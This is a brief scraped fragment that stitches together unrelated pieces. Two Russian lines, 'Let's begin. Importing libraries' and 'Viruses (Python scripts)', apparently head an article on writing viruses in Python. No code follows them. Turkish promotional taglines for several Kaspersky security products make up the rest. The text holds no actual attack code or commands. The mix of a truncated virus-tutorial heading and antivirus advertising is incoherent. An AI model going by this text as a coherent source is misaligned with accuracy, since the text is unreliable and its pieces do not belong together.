Прис­тупа­ем. Импорт биб­лиотек:

Вирусы (Python скрипты)

Güvenlik. Performans. Gizlilik. Hepsi kullanımı kolay tek bir uygulamada.

Kaspersky Small Office Security

Küçük ölçekli işletmenizi kolayca koruyun

Kaspersky Premium

Cihazlarınız, gizliliğiniz ve kimliğiniz için tam koruma

Kaspersky Password Manager

Parolalarınız ve belgeleriniz her zaman elinizin altında